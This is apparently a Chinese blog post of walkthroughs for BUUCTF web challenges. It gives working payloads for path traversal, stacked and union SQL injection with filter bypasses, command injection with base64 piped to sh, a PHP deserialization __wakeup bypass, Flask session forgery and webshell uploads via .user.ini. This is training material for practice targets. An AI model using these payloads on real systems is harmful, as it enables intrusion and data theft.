buuctf_web_1
- 1. 前言
- 2. [HCTF 2018]WarmUp
- 3. [强网杯 2019]随便注
- 4. [极客大挑战 2019]EasySQL1
- 5. [极客大挑战 2019]Havefun
- 6. [极客大挑战 2019]Secret File
- 7. [GXYCTF2019]Ping Ping Ping
- 8. [ACTF2020 新生赛]Exec 1
- 9. [极客大挑战 2019]Knife 1
- 10. [RoarCTF 2019]Easy Calc 1
- 11. [极客大挑战 2019]PHP 1
- 12. [极客大挑战 2019]Http 1
- 13. [极客大挑战 2019]Upload 1
- 14. [极客大挑战 2019]BabySQL 1
- 15. [HCTF 2018]admin1
- 16. [ACTF2020 新生赛]Upload1
- 17. [ACTF2020 新生赛]BackupFile1
- 18. [SUCTF 2019]CheckIn1
前言
学如逆水行舟,不进则退
[HCTF 2018]WarmUp
[强网杯 2019]随便注
[极客大挑战 2019]EasySQL1
[极客大挑战 2019]Havefun
[极客大挑战 2019]Secret File
[GXYCTF2019]Ping Ping Ping
[ACTF2020 新生赛]Exec 1
[RoarCTF 2019]Easy Calc 1
[极客大挑战 2019]PHP 1
[极客大挑战 2019]Http 1
[极客大挑战 2019]Upload 1
[极客大挑战 2019]BabySQL 1
[HCTF 2018]admin1
[ACTF2020 新生赛]Upload1
[ACTF2020 新生赛]BackupFile1
[SUCTF 2019]CheckIn1
[HCTF 2018]WarmUp
打开source.php后,得到源码:
1 |
|
这里面又有一个hint.php,打开之后只有一句话。flag not here, and flag in ffffllllaaaagggg
。
看来是要想办法读取到ffffllllaaaagggg的内容,来拿到flag。
先看看下面的主函数:
1 | if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file']) |
if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])
中要求emmm::checkFile($_REQUEST['file']
返回true,只要能返回true,就能include $_REQUEST['file'];
。
来看看emmm::checkFile($_REQUEST[‘file’]函数,在这个函数中
1 | $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; |
whitelist是个白名单,只允许source.php和hint.php。这个if判断,会判断参数中是否含有source.php和hint.php。如果存在则返回true,如果失败则执行下面的代码:
1 | $_page = mb_substr($page, 0 ,mb_strpos($page . '?', '?')); |
这段代码,首先会通过mb_strpos()函数返回在page中?
第一次出现的位置,然后通过mb_substr()函数截取这一部分的字符串,赋值给_page。然后再进入新一轮的if判断,此时_page如果是白名单中的字符串,返回true,如果还没有,则再通过urldecode()解码以及再次进行截取,进入if判断,成功返回true。
可以发现,这里有两个if都能返回true,我们只需要满足一处if条件,然后返回true,就可以利用 ../
来穿越目录读取到我们想要的文件。
第一处
构造?file=source.php?../../../../../../../../../../ffffllllaaaagggg
,经过mb_substr()时,就会只剩source.php,就会返回true,然后通过../即可穿越目录读取flag
第二处
第二处是在经过urldecode()解码之后再返回true,这样的话需要将?
进行两次url编码,
?file=source.php%25%33%46/../../../../../../ffffllllaaaagggg
这样传入浏览器解码一次,?file=source.php%3F/../../../../../../ffffllllaaaagggg
urldecode()再解码一次,?file=source.php?/../../../../../../ffffllllaaaagggg
再经过截取,即可如上面一样,返回true。
[强网杯 2019]随便注
作为一个彩笔,这题触及我的知识盲区了。
开始的时候还是很愉快的,就SQL注入的老套路,1' order by 2#
猜出两列之后,上1' union select 1,database()#
之后,出现了return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
,过滤了很多这么多关键字,大写、双写也不行。网上找了找wp。
原来是堆叠注入
原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
0’;show databases;#
0’;show tables;#
0’;show columns from words;#
查询1919810931114514
表中所有列
1’;show columns from 1919810931114514
;#(字符串为表名操作时要加反引号)
根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
方法一(修改数据库结构):
这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag
将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1 | 1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);# |
这段代码的意思是将words
表名改为words1
,1919810931114514
表名改为words
,将现在的words
表中的flag
列名改为id
然后用1' or 1=1 #
得到flag
[极客大挑战 2019]EasySQL1
使用万能密码即可得到flag,username=1' or 1#&password=1
[极客大挑战 2019]Havefun
查看源码
1 | <?php |
提交?cat=dog
,即可。
[极客大挑战 2019]Secret File
经过一系列的页面跳转,抓包,得到secret3.php,在里面得到源码:
1 |
|
可以看到这段代码中没有过滤php://,并且提示flag在flag.php中,所以使用php伪协议读取?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base64解码即可。
[GXYCTF2019]Ping Ping Ping
试试ip,正常回显
试试命令执行
查看flag.php
猜测是空格被过滤了
用$IFS$1代替
查看index.php
可以看到过滤了很多字符
但是在最后我们看到了a变量,那我们是不是可以将a的值覆盖,然后进行绕过呢?
1 | ?ip=127.0.0.1||a=g;cat$IFS$1fla$a.php |
查看源码即可
还可以对cat flag.php进行编码
构造payload
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
知识点1:空格绕过
处理方法:1.全局变量
1 | 1.${IFS} |
知识点2:过滤字符了链接
1 | echo ()|base64 -d|sh |
[ACTF2020 新生赛]Exec 1
很简单的命令执行
|ls
|cat flag即可
[极客大挑战 2019]Knife 1
直接上菜刀连接,在根目录下有flag
[RoarCTF 2019]Easy Calc 1
算了一下,
试了试||、&&、|、&、; 都不行,看看源码
说是有waf,
$(“#content”).val()
获取id为content的HTML标签元素的值,是JQuery
$(“#content”)
同document.getElementById(“content”);
$(“#content”).val()
同document.getElementById(“content”).value;
但是看到了calc.php,访问一下
加上num试试
url编码之后才行
但是,一输入特殊字符就forbidden,应该是waf
可是我们不知道waf如何写的,,该如何绕过呢??
其实利用PHP的字符串解析特性就能够进行绕过waf!!
构造参数? num=phpinfo()(注意num前面有个空格)就能够绕过:
1 | ? num=phpinfo() |
由于“/”被过滤了,,,所以我们可以使用chr(47)来进行表示,进行目录读取:
读取flag
file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
[极客大挑战 2019]PHP 1
备份网站?是暗示吗?
扫一下网站目录试试
python3 dirsearch.py -u http://9743478f-8031-45e4-9f2d-9643a2105dc9.node3.buuoj.cn/ -e *
访问试试www.zip试试,拿到源码
index.php
1 |
|
要get提交select,然后反序列化
class.php
1 |
|
根据代码的意思,我们可以发现如果username=admin password=100然后我们再执行__destruct()
那接下来我们可以构造反序列Pyload了
1 |
|
反序列化unserialize()的话它是会直接执行__wake up()这个魔术方法的。那我们就要想办法让这个反序列绕过__wake up()执行_\_destruct()
而在反序列化里,当前属性个数大于实际属性个数的时候,它就会直接绕过_wake up()从而执行__destruct()的。然后我们修改一下序列化字符串(name:2改成3)
1 | ?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} |
尝试之后居然不行?
然后我们又意识到,这个变量是private
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字
段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
于是我们在构造一回pyload:
?select=O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}
[极客大挑战 2019]Http 1
看看源码
发现secret.php
抓包修改refer头
提示变成了Please use “Syclover” browser
修改User-agent: Syclover browser
No!!! you can only read this locally!!
有毒?
修改X-Forwoeded-For: 127.0.0.1,得到flag
[极客大挑战 2019]Upload 1
上传正常图片
上传了个一句话木马,也是这样,
继续尝试,换个GIF马试试,上传shell123.jpg,回显不一样了,看来是需要GIF
更改继续尝试
继续尝试php3、php5、pht都失败
最后发现phtml可以
回显再次变成了说包含<?
更改木马内容为
再次上传
尝试访问
菜刀连接,找到flag
[极客大挑战 2019]BabySQL 1
尝试万能密码username=1+or+1%3D1&password=1
单引号闭合试试
注释掉password后面的试试,,,,,额,还是不对
换之前的用户名admin
回显了密码
猜测列数
or被删除了,双写试试,还是被去掉了,大写也不行
用union select 试试
又被删除了吗?
双写试试
?username=admin’+ununionion+selselectect+1,2,3%23&password=1
回显正常
发现有三列
爆库
?username=-1’+ununionion+selselectect+1,2,database()%23&password=1
爆表
发现from information_schema,where都被过滤,双写试试
?username=-1’+ununionion+selselectect+1,2,group_concat(table_name)+frfromom+infoorrmation_schema.tables+whwhereere+table_schema=database()%23&password=1
爆列
1 | ?username=-1'+ununionion+selselectect+1,2,group_concat(column_name)+frfromom+infoorrmation_schema.columns+whwhereere+table_name="b4bsql"%23&password=1 |
查数据
?username=-1’+ununionion+selselectect+1,2,group_concat(username,”-“,passwoorrd)+frfromom+b4bsql%23&password=1
[HCTF 2018]admin1
注册之后,登录
查看源码
只写着说youarenotadmin,要想办法变成admin了
于是就使用账号admin密码123发现直接就能等进去了。而且首页就显示出falg了,不感相信退出去输入密码123123发现显示密码错误。推测admin的密码真的是123。感觉考点肯定不是弱密码,估计是作者没太在意,假装不知道密码继续做下去。
在登陆的情况下能访问三个页面index
、posts
、edit
、change
。逐个看看有没有什么能利用的地方。
index页面和之前的index页面查看源代码是一样的。
posts页面进入只会显示404,就算再后面新增了文章也是一样。
edit页面是一个类似博客编写页面,有两个文本框,但试了一下XSS都被过滤了。
change页面是一个修改密码的页面。可能存在逻辑漏洞,尝试一下。
发现不需要输入之前的密码直接输入新密码就行,这样就不存在多步骤校验可能存在的逻辑绕过。
查看报文发现报文中没有写用户名,里面只有一个新密码。证明用户名是通过session来获取的,所以也不存在中间截获修改的漏洞。但在修改密码页面的源代码中发现提示了我们整个工程的Git地址。
拿到源码
1 | {% include('header.html') %} |
可以从上面index
页面模板看出只要从session中得到的值name
为admin就会显示flag
。
查阅资料得知,flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中,也就是说其实只是将相关内容进行了加密保存到session中。和服务端的session不同,服务端的session保存在服务端中,依靠客户端cookie值中的sessionId来进行识别。本身sessionId是没有价值的,而客户端的session是可以被截取破解后得到有价值的原文。在网上找了一个解密的脚本:
1 | #index.html |
可以看到能解密出来原来的内容,能看到很明显一个是name字段正是我们之前注册的test。那只要改一下这个值,然后重新加密一下就可以了。加密的脚本看大佬的writeup上有个地址:https://github.com/noraj/flask-session-cookie-manager。拿到后直接使用即可。加密还需要一个值SECRET_KEY,这个在config.py中能看到。
伪造flask session还需要一个SECRET_KEY
我们发现config.py中存在,SECRET_KEY = os.environ.get(‘SECRET_KEY’) or ‘ckj123’flask session加密脚本https://github.com/noraj/flask-session-cookie-manager
payload:伪造的session
1 | {'_fresh': True, '_id': b'2ff34a5077d2f711c7aa5fb35b61ebe2d8cf4081a56609f46c43d95e51de0efa5713b6d78b48664e4d4bbf4aabb1fd6b6484b97d2b48997ce7a83878b78781d1', 'csrf_token': b'44463a5670f0c0ad61ab0d2dc0ae725a14808b81', 'image': b'MAuE', 'name': 'admin', 'user_id': '10'} |
替换掉原来的session即可
[ACTF2020 新生赛]Upload1
上传正常图片返回路径,并且可以访问
上传php文件,回显如上,应该是前端的白名单校验,更改后缀名上传
可见知识校验后缀名,但是访问之后,php未被解析
后来发现phtml可以绕过,但是php没解析?
换成js
[ACTF2020 新生赛]BackupFile1
在index.php.bak中找到源码
1 |
|
传入一个key,这个key必须是数字,但是还必须要和str相等,按理来说是不可能的,但是这里用的是==,php中存在弱比较问题,即123和123xxxxx是相等的,它只会取字符串前面的数字进行比较
所以payload:?key=123
[SUCTF 2019]CheckIn1
提交一个正常文件
显示有<?,不能写php马,写js的马,又提示内容不是图片,所以再加上GIF89a头,即可绕过,
菜刀连不上?。。。。。。
百度一下,哦,是要利用.user.ini文件
条件:
- 1、服务器脚本语言为PHP
- 2、服务器使用CGI/FastCGI模式
- 3、上传目录下要有可执行的php文件
上传.user.ini
绕过黑名单检验
1 | GIF89a //绕过exif_imagetype() |
优势:跟.htaccess
后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess
只适用于apache
上传这样的一个ini文件
1 | GIF89a |
再上传我们之前的shell.jpg
访问index.php, 注意:上传目录下要有一个正常的php文件,这里为index.php
菜刀连接
一直连不上,,换个马
直接读取